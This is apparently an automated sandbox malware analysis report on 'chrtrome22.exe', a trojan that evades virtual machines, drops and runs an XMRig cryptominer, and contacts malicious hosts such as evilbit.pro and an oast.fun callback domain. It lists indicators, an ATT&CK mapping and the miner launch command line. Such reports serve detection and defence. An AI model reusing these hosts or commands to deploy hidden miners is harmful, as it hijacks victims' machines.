Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599233	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598905	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598577	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598249	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597260	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596608	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596499	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595624	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595296	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 594967	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 594859	Jump to behavior

Source: C:\Users\user\Desktop\chrtrome22.exe	Window / User API: threadDelayed 1841			Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Window / User API: threadDelayed 8005			Jump to behavior

Source: C:\Users\user\Desktop\chrtrome22.exe

Dropped PE file which has not been started: C:\xmrig\xmrig-6.22.2\WinRing0x64.sys

Jump to dropped file

Source: C:\Users\user\Desktop\chrtrome22.exe TID: 180	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -599233s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -599124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -598905s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -598796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -598577s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -598249s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -597921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -597593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -597374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -597260s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -597046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -596937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -596828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -596718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -596608s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -596499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -596390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -596281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -596171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -596062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -595953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -595843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -595734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -595624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -595515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -595406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -595296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -595187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -594967s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe TID: 2924	Thread sleep time: -594859s >= -30000s	Jump to behavior

Source: C:\xmrig\xmrig-6.22.2\xmrig.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599233	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598905	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598577	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598249	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597260	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596608	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596499	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595624	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595296	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 594967	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 594859	Jump to behavior

Source: chrtrome22.exe, 00000000.00000002.1759218717.000000001D265000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: xmrig.exe, 00000002.00000002.4117633923.000002B86C509000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: chrtrome22.exe, 00000000.00000002.1759218717.000000001D265000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}?
Source: chrtrome22.exe, 00000000.00000002.1758161002.000000001B5AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\chrtrome22.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\chrtrome22.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\chrtrome22.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\chrtrome22.exe

Process created: C:\xmrig\xmrig-6.22.2\xmrig.exe "C:\xmrig\xmrig-6.22.2\xmrig.exe" --config=C:\xmrig\xmrig-6.22.2\config.json

Jump to behavior

Source: conhost.exe, 00000003.00000002.4116908819.0000023618690000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: conhost.exe, 00000003.00000002.4116908819.0000023618690000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: conhost.exe, 00000003.00000002.4116908819.0000023618690000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: conhost.exe, 00000003.00000002.4116908819.0000023618690000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\chrtrome22.exe	Queries volume information: C:\Users\user\Desktop\chrtrome22.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\chrtrome22.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Windows Service	1 Windows Service	1 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	12 Process Injection	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
chrtrome22.exe	63%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno
chrtrome22.exe	58%	Virustotal		Browse
chrtrome22.exe	100%	Avira	HEUR/AGEN.1308614
chrtrome22.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\xmrig\xmrig-6.22.2\xmrig.exe	100%	Avira	HEUR/AGEN.1311679
C:\xmrig\xmrig-6.22.2\xmrig.exe	100%	Joe Sandbox ML
C:\xmrig\xmrig-6.22.2\WinRing0x64.sys	5%	ReversingLabs
C:\xmrig\xmrig-6.22.2\xmrig.exe	74%	ReversingLabs	Win64.Trojan.Miner

Source	Detection	Scanner	Label
http://evilbit.pro	0%	Avira URL Cloud	safe
https://miningpoolstats.stream/raptoreum	0%	Avira URL Cloud	safe
https://evilbit.pro/config.json	0%	Avira URL Cloud	safe
http://wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun	0%	Avira URL Cloud	safe
https://miningpoolstats.stream/monero	0%	Avira URL Cloud	safe
http://wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun/	0%	Avira URL Cloud	safe
https://evilbit.pro	0%	Avira URL Cloud	safe
http://wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun/p	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pool-fr.supportxmr.com	141.94.96.144	true	false	unknown
evilbit.pro	172.67.144.26	true	true	unknown
github.com	140.82.121.4	true	false	high
wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun	206.189.156.69	true	true	unknown
objects.githubusercontent.com	185.199.110.133	true	false	high
pool.supportxmr.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip	false		high
https://evilbit.pro/config.json	true	Avira URL Cloud: safe	unknown
http://wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun/	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://github.com	chrtrome22.exe, 00000000.00000002.1755040993.0000000002C4D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://objects.githubusercontent.com/github-production-release-asset-2e65be/88327406/cbb07403-ee0c-	chrtrome22.exe, 00000000.00000002.1755040993.0000000002C64000.00000004.00000800.00020000.00000000.sdmp	false		high
https://miningpoolstats.stream/raptoreum	chrtrome22.exe, 00000000.00000002.1755040993.0000000002E68000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002E7C000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp, rtm_ghostrider_example.cmd.0.dr	false	Avira URL Cloud: safe	unknown
https://objects.githubusercontent.com	chrtrome22.exe, 00000000.00000002.1755040993.0000000002C79000.00000004.00000800.00020000.00000000.sdmp	false		high
http://evilbit.pro	chrtrome22.exe, 00000000.00000002.1755040993.0000000002EF7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com	chrtrome22.exe, 00000000.00000002.1755040993.0000000002BB0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://evilbit.pro	chrtrome22.exe, 00000000.00000002.1755040993.0000000002EF7000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://xmrig.com/wizard%s	xmrig.exe, 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp, xmrig.exe.0.dr	false		high
https://xmrig.com/docs/algorithms	xmrig.exe, 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp, xmrig.exe.0.dr	false		high
https://xmrig.com/benchmark/%s	xmrig.exe, 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp, xmrig.exe.0.dr	false		high
http://wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun	chrtrome22.exe, chrtrome22.exe, 00000000.00000002.1755040993.00000000030C3000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002BB0000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002971000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://miningpoolstats.stream/monero	chrtrome22.exe, 00000000.00000002.1755040993.0000000002E46000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002E39000.00000004.00000800.00020000.00000000.sdmp, chrtrome22.exe, 00000000.00000002.1755040993.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp, pool_mine_example.cmd.0.dr	false	Avira URL Cloud: safe	unknown
https://xmrig.com/wizard	xmrig.exe, 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp, xmrig.exe.0.dr	false		high
http://objects.githubusercontent.com	chrtrome22.exe, 00000000.00000002.1755040993.0000000002C95000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	chrtrome22.exe, 00000000.00000002.1755040993.0000000002971000.00000004.00000800.00020000.00000000.sdmp	false		high
http://wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun/p	chrtrome22.exe, 00000000.00000002.1755040993.00000000030C3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.144.26	evilbit.pro	United States	13335	CLOUDFLARENETUS	true
140.82.121.4	github.com	United States	36459	GITHUBUS	false
206.189.156.69	wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun	United States	14061	DIGITALOCEAN-ASNUS	true
185.199.110.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
141.94.96.144	pool-fr.supportxmr.com	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1586514
Start date and time:	2025-01-09 08:41:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	chrtrome22.exe
Detection:	MAL
Classification:	mal100.evad.mine.winEXE@5/14@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 3 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:42:09	API Interceptor	49x Sleep call for process: chrtrome22.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
140.82.121.4	RfORrHIRNe.doc	Get hash	malicious	Unknown	Browse	github.com/ssbb36/stv/raw/main/5.mp3
206.189.156.69	174.exe	Get hash	malicious	Xmrig	Browse	wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun/
	http://clj9550f4aogrc0ma63gxc5ss4f8ekeaw.oast.fun/	Get hash	malicious	Unknown	Browse	clj9550f4aogrc0ma63gxc5ss4f8ekeaw.oast.fun/favicon.ico
	http://cis0opnpgi3ck7n7uo90antqh5rn679xx.oast.fun	Get hash	malicious	Unknown	Browse	cis0opnpgi3ck7n7uo90antqh5rn679xx.oast.fun/favicon.ico
185.199.110.133	sys_upd.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
